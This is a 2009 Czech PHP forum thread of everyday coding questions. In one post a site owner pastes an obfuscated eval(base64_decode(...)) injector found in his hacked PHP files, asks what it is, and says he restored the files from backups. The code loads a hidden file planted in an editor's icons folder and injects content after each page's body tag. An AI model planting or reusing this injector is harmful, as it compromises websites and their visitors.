Registrace nového uživatele     Návod     Kluby     Archív  Lopuchu     Lopuch.cz  

Komu se nelení,
tomu se zelení.

Lopuch.cz

Jméno:
Heslo:
Podpora LCD:
 
Klub PHP [ŽP: neomezená] (kategorie Programování) moderuje makovec.
Archiv
Diskuse o vybornem skriptovacim jazyku php. Dulezite odkazy, pred polozenim dotazu zkuste hledat odpoved zde:
  1. www.php.net - domovská stránka PHP
  2. www.kosek.cz - spousta tutorialu pro PHP v češtině
  Nastavení klubu     Nastavení práv     Homepage     Anketa     Přítomní     Oblíbené     Lopuch     Kategorie  
autor: 
text: 
vyplnit a 
Help
 Titulek, text příspěvku  
Opište pozpátku následující text bez prostředního znaku: outdlxo
[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 13.2.2009 09:18  2489
takto:
SNAG-0111.png
ten web vypadal
tvx tvx Myslet si, že svět je JEN takový, jak - ho v daný čas můžeme pochopit je hloupé. 13.2.2009 09:18  2488
http://www.lopuch.cz/klub.php?klub=web
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 13.2.2009 09:14  2487
někdo (něco) mě patrně hacknulo stránkyasi v polovině ze zhruba 100 php souborů se mi hned na začátku souboru objevilo toto:

<?php /**/eval(base64_decode
('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3No
X25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaHR0cG
QvaHRtbC9wdXNjaHB1bGxvcmcvd3d3L2dyb29uL21vZHVsZXMvZmNrZWRpdG9yL2Zj
a2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy
9pY29ucy8zMi9jb3BwZXIucGhwJykpe2luY2x1ZGVfb25jZSgnL2h0dHBkL2h0bWwv
cHVzY2hwdWxsb3JnL3d3dy9ncm9vbi9tb2R1bGVzL2Zja2VkaXRvci9mY2tlZGl0b3
IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMv
MzIvY29wcGVyLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdG
lvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2Rl
Jykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRkKXskZj1vcmQoc3Vic3RyKCRkLDMsMSkpOy
RoPTEwOyRlPTA7aWYoJGYmNCl7JGU9dW5wYWNrKCd2JyxzdWJzdHIoJGQsMTAsMikp
OyRlPSRlWzFdOyRoKz0yKyRlO31pZigkZiY4KXskaD1zdHJwb3MoJGQsY2hyKDApLC
RoKSsxO31pZigkZiYxNil7JGg9c3RycG9zKCRkLGNocigwKSwkaCkrMTt9aWYoJGYm
Mil7JGgrPTI7fSR1PWd6aW5mbGF0ZShzdWJzdHIoJGQsJGgpKTtpZigkdT09PUZBTF
NFKXskdT0kZDt9cmV0dXJuICR1O319ZnVuY3Rpb24gZGdvYmgoJGIpe0hlYWRlcign
Q29udGVudC1FbmNvZGluZzogbm9uZScpOyRjPWd6ZGVjb2RlKCRiKTtpZihwcmVnX2
1hdGNoKCcvXDxib2R5L3NpJywkYykpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxi
b2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRjKTt9ZWxzZXtyZXR1cm4gZ21sKC
kuJGM7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>

ošetřil jsem to tak, že jsem tyto soubory (jednak stáhnul k sobě do "karantény") a přepsal svými záložními

Ale samozřejmě se to může opakovat

Tušíte někde, o co se jedná ?
etdirloth EtDirloth 8.2.2009 19:00  2486
tvx [2484]: zrejme ide o rejuznutie sposobu, akym sa odkazujes na deklaraciu metody pri jej definicii v c++ prave v konvencii pouzitej v PHP dokumentacii (tiez to tak robim v doxygenovych komentaroch) - pricom samotny priklad uz samozrejme musi obsahovat volanie z instancie (cez sipku), kedze nejde o staticku metodu; inymi slovami: nehladaj za tym ziaden skryty vyznam

a to rozdielne pouzitie operatorov -> a :: v roznych castiach PHP dokumentacie bude skor sposobene tym, ze pre odlisenie methods a properties si zvolili rozne konvencie
huh huh 8.2.2009 18:59  2485
tvx [2482]: Nehledej v tom vědu. Prostě v manuálu PHP používaj zápis třída::metoda u metod. Volat ji samozřejmě musíš instance->metoda.
tvx tvx Myslet si, že svět je JEN takový, jak - ho v daný čas můžeme pochopit je hloupé. 8.2.2009 18:38  2484
pepakjako ze ty s -> nemusej vzdy existovat?
pepak pepak - Pepak.net 8.2.2009 18:15  2483
V deklaraci to je s :: asi proto, aby to symbolizovalo, že ta metoda existuje ve všech instancích třídy.

V příkladech je to s -> proto, že tam už to je implementováno na konkrétní instanci.
tvx tvx Myslet si, že svět je JEN takový, jak - ho v daný čas můžeme pochopit je hloupé. 8.2.2009 18:08  2482
dokazal by mi nekdo vysvetlit, jakej je rozdil mezi metodama v PHP manualu 'oddelenejma' od objektu (tridy) :: a -> ?
treba tady?
http://cz.php.net/manual/en/mysqli-result.fetch-object.php

:: chapu jako odvolavani se na metodu tridy samotne tedy na statickou metodu ale v danem kontextu se v logice php manualu ztracim... obzvlast kdyz je uvadena s :: a posleze se vola ->
co tim soudruzi myslej? a proc nektery maj -> i v deklaraci?
knedle knedle online - Krabice živých 29.1.2009 07:41  2481
huh [2480]: ok - dik
huh huh 29.1.2009 07:34  2480
Jestli je char_private implementovany pomoci __get, pak musis implementovat i __isset, aby to fungovalo.
knedle knedle online - Krabice živých 28.1.2009 23:27  2479
zas trochu nechapu

mam tento kontrolni php kod:
var_dump(($this->user->getIdentity()->char_private)); // obsahuje *
var_dump(empty($this->user->getIdentity()->char_private));

ktery mi vyhazuje tyto vystupy:
string(0) "*" 
bool(true)


cim to?
pokud si to nadefinuju jednoduse
$neco = "*";
var_dump($neco);
var_dump(empty($neco));

haze mi to to co ma, tj.
string(1) "*" 
bool(false)


jsem z toho jelen
tvx tvx Myslet si, že svět je JEN takový, jak - ho v daný čas můžeme pochopit je hloupé. 12.1.2009 14:39  2478
nemate tip na jednoduchej proverenej javascript kompressor pro PHP?
huh huh 8.1.2009 13:55  2477
teda $pole
huh huh 8.1.2009 13:55  2476
tvx [2470]:
prvnich 10 z pole ... array_slice(pole, 0, 10)
poslenich 10 z pole ... array_slice(pole, -10, 10)
usek od 5. do 10. prvku ... array_slice(pole, 4, 6)

simon simon 8.1.2009 12:46  2475
tvx, pokud neco takoveho potrebujs, tak je problem nekde uplne jinde nez v PHP

[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  

(c) 2001-2011 Lopuch.cz   
Kontakt